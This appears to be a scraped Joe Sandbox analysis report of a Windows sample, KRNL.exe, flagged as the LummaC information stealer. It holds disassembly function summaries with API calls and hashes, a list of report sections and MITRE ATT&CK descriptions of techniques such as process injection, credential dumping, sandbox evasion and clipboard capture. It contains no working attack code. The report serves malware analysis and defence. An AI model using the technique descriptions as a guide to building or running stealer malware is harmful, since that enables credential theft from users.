Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: f25dd0b7842dcf2fe754ff34bcddd8b0e39dee47ec876785c1dcb25568371d70
Instruction ID: e32ca57ab662ea4217ef8587730b4fae0062c38fe3cdb8637493012fbabafb19
Opcode Fuzzy Hash: f25dd0b7842dcf2fe754ff34bcddd8b0e39dee47ec876785c1dcb25568371d70
Instruction Fuzzy Hash: 40219D71604219EFDB20AFA5C88187BB7E9FF003657908619FD19D7591E739EC008BA0

Function 006F2BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0254ae2127c9291d93c81fa772fb1481ddc97cceaf94a03920bc899282885eac
Instruction ID: 743c1983a16e57fbd28b97eda628ff8145e1233a7b2fd939840e73b99f349af9
Opcode Fuzzy Hash: 0254ae2127c9291d93c81fa772fb1481ddc97cceaf94a03920bc899282885eac
Instruction Fuzzy Hash: 0021C27120420FAF8B60AF698CE19BA776BFF403647118518FB59D7250EB31EC41CBA4

Function 007031BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 007031C6

Part of subcall function 006FC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006FD895,?,00000000,-00000008), ref: 006FC082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 007031FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0070321E

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 9e10e4241ecd073afe2940b235d17e5430b8760ebbfa7df8aaa74088f5458d20
Instruction ID: a9086f0b60c8ade8bd266190ba8c979d4e71fcc7c679fa586c044d0fce26910a
Opcode Fuzzy Hash: 9e10e4241ecd073afe2940b235d17e5430b8760ebbfa7df8aaa74088f5458d20
Instruction Fuzzy Hash: 1E11D6B1501119FEE7112BB5AC8ACFF6A9DEEC97947104219FA01D1181FF78EF0141B5

Function 0070ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000), ref: 0070ADB7
GetLastError.KERNEL32(?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000,?,?,?,00703CD6,00000000), ref: 0070ADC3

Part of subcall function 0070AE20: CloseHandle.KERNEL32(FFFFFFFE,0070ADD3,?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000,?,?), ref: 0070AE30

___initconout.LIBCMT ref: 0070ADD3

Part of subcall function 0070ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0070AD91,0070A2DC,?,?,00704390,?,00000000,00000000,?), ref: 0070AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0070A2EF,00000000,00000001,00000000,?,?,00704390,?,00000000,00000000,?), ref: 0070ADE8

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: bf7924cf076a20245278e2d3a7418fe119e6b7ec593cca223ee7bda0efa26c35
Instruction ID: 54fb4119b60394895a47349dd540aa8b5fabbcf1881a54a8a71d65eaf9f8c03a
Opcode Fuzzy Hash: bf7924cf076a20245278e2d3a7418fe119e6b7ec593cca223ee7bda0efa26c35
Instruction Fuzzy Hash: ADF01236600229FBCF221FD9EC089DA3F66FF047A1F00C111FE08851A4D73AC8609B95

Function 006F04F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 006F0507
GetCurrentThreadId.KERNEL32 ref: 006F0516
GetCurrentProcessId.KERNEL32 ref: 006F051F
QueryPerformanceCounter.KERNEL32(?), ref: 006F052C

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: aae8c9efb57ef37206f0982b3e69251400d5376f8765ff8d906e2a822d65b356
Instruction ID: 624c8c8d1f7abbc2243d2be23e1d6b62d8ad55043a06f7365ffe7eb9ae28115f
Opcode Fuzzy Hash: aae8c9efb57ef37206f0982b3e69251400d5376f8765ff8d906e2a822d65b356
Instruction Fuzzy Hash: 48F05F74D1120DEBCB00DFB8DA499DEBBF4FF1C200B918995A452E6150EA34AB44DB54

Function 006FB992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,006FB893,?,?,00000000,00000000,00000000,?), ref: 006FB9B7

Strings

MOC, xrefs: 006FB9C9
RCC, xrefs: 006FB9D1

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: d195aa015f2ac5999505b50b75eca91b8d5512be5ff925cc25aa777128af3bd6
Instruction ID: 8b49dbc0d829e7cd1ab3b9344a7dec2ba2566e6f805eba058c645a48167d4bfa
Opcode Fuzzy Hash: d195aa015f2ac5999505b50b75eca91b8d5512be5ff925cc25aa777128af3bd6
Instruction Fuzzy Hash: 4241347290020DAFCF15DF98CC81AEEBBB6FF48300F189199FA14A7222D3759950DB91

Function 006FB1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 006FB475

Strings

csm, xrefs: 006FB508
csm, xrefs: 006FB497

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 7232b2c04a180d64e1580780f949a13be7a56bad945d3ea80631022a9ce787bf
Instruction ID: 6e1dd83ed214097eb2670d2ff6bff18461d0fc674b79f14ba522985c299029a0
Opcode Fuzzy Hash: 7232b2c04a180d64e1580780f949a13be7a56bad945d3ea80631022a9ce787bf
Instruction Fuzzy Hash: B431D57250021DEBCF269F90CD448FE7B67FF09315B18965AFA544A222C33ADD61DB81

Function 00432AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00432B27
GetSystemMetrics.USER32 ref: 00432B36

Strings

, xrefs: 00432BE4

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: a7e015fa189f20fae8a1e1574193bbbed12d41f97909a9eee6515be2d05f634e
Instruction ID: d2e9c7bdcd16e3a15224797572231dfe0fa3dd802bd302cf10fb2ba368259f32
Opcode Fuzzy Hash: a7e015fa189f20fae8a1e1574193bbbed12d41f97909a9eee6515be2d05f634e
Instruction Fuzzy Hash: 723192B49143148FDB00EF68DA85649BBF4BF89304F41852EE898DB360D3B4A958CF86

Function 006EB831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006EB8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 006EB8DE

Part of subcall function 006F060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,006EF354,00000000,?,?,?,006EF354,006E3D4A,0071759C,006E3D4A), ref: 006F066D

Part of subcall function 006F8353: IsProcessorFeaturePresent.KERNEL32(00000017,006F378B,?,?,?,?,00000000,?,?,?,006EB5AC,006EB4E0,00000000,?,?,006EB4E0), ref: 006F836F

Strings

csm, xrefs: 006EB86D

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 37d591f8fb25c0d92a28ef4671773d1f64bf988a8bd3bf26604fa5e76cad3060
Instruction ID: c3957d0d1d5e4f673619f74532783bb5e4c57914bfb5cba4ce5e8a39211888e7
Opcode Fuzzy Hash: 37d591f8fb25c0d92a28ef4671773d1f64bf988a8bd3bf26604fa5e76cad3060
Instruction Fuzzy Hash: DD215531E02358EBCF249F9AD945AEFB7BAAF54710F14540AE405AB350CB70AD458B81

Function 006EB46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006E2673

Strings

bad array new length, xrefs: 006E2626
ios_base::badbit set, xrefs: 006E2650

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 89d66d885912260380967a078e3b07906f62e34dfe759b5ebeff4c6e92a05c79
Instruction ID: a495ef1df2cbff79822e63290eb82af11f077fea2c9069ed9ed00fe9c6958118
Opcode Fuzzy Hash: 89d66d885912260380967a078e3b07906f62e34dfe759b5ebeff4c6e92a05c79
Instruction Fuzzy Hash: 9F01DFF1609305EBDB14DF28D856A6B7BE9AF08318F11892CF45D8B381D379E848CB85

Function 006E2610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006F060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,006EF354,00000000,?,?,?,006EF354,006E3D4A,0071759C,006E3D4A), ref: 006F066D

___std_exception_copy.LIBVCRUNTIME ref: 006E2673

Strings

bad array new length, xrefs: 006E2626
ios_base::badbit set, xrefs: 006E2650

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 8db41a135dd94c215ddfb7e1d4397b9eaa452265a8cee651155429ce22747484
Instruction ID: 604c0ce2b604bc0234580df0db794dc208271eba5c89ba3b93fdbdc1fe117293
Opcode Fuzzy Hash: 8db41a135dd94c215ddfb7e1d4397b9eaa452265a8cee651155429ce22747484
Instruction Fuzzy Hash: A8F0F8F1614300EBE710AF58D846757BBE8EB58718F11892CF5989B381D3B9D894CB92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KRNL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
KRNL.exe

Function 0071A19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 006E1FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Function 006E24B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Function 006FCF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 006E1750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Function 006F5349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 006F54EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 006F565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00703BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 007043CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 006E90F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Function 006FDA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 006E1EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

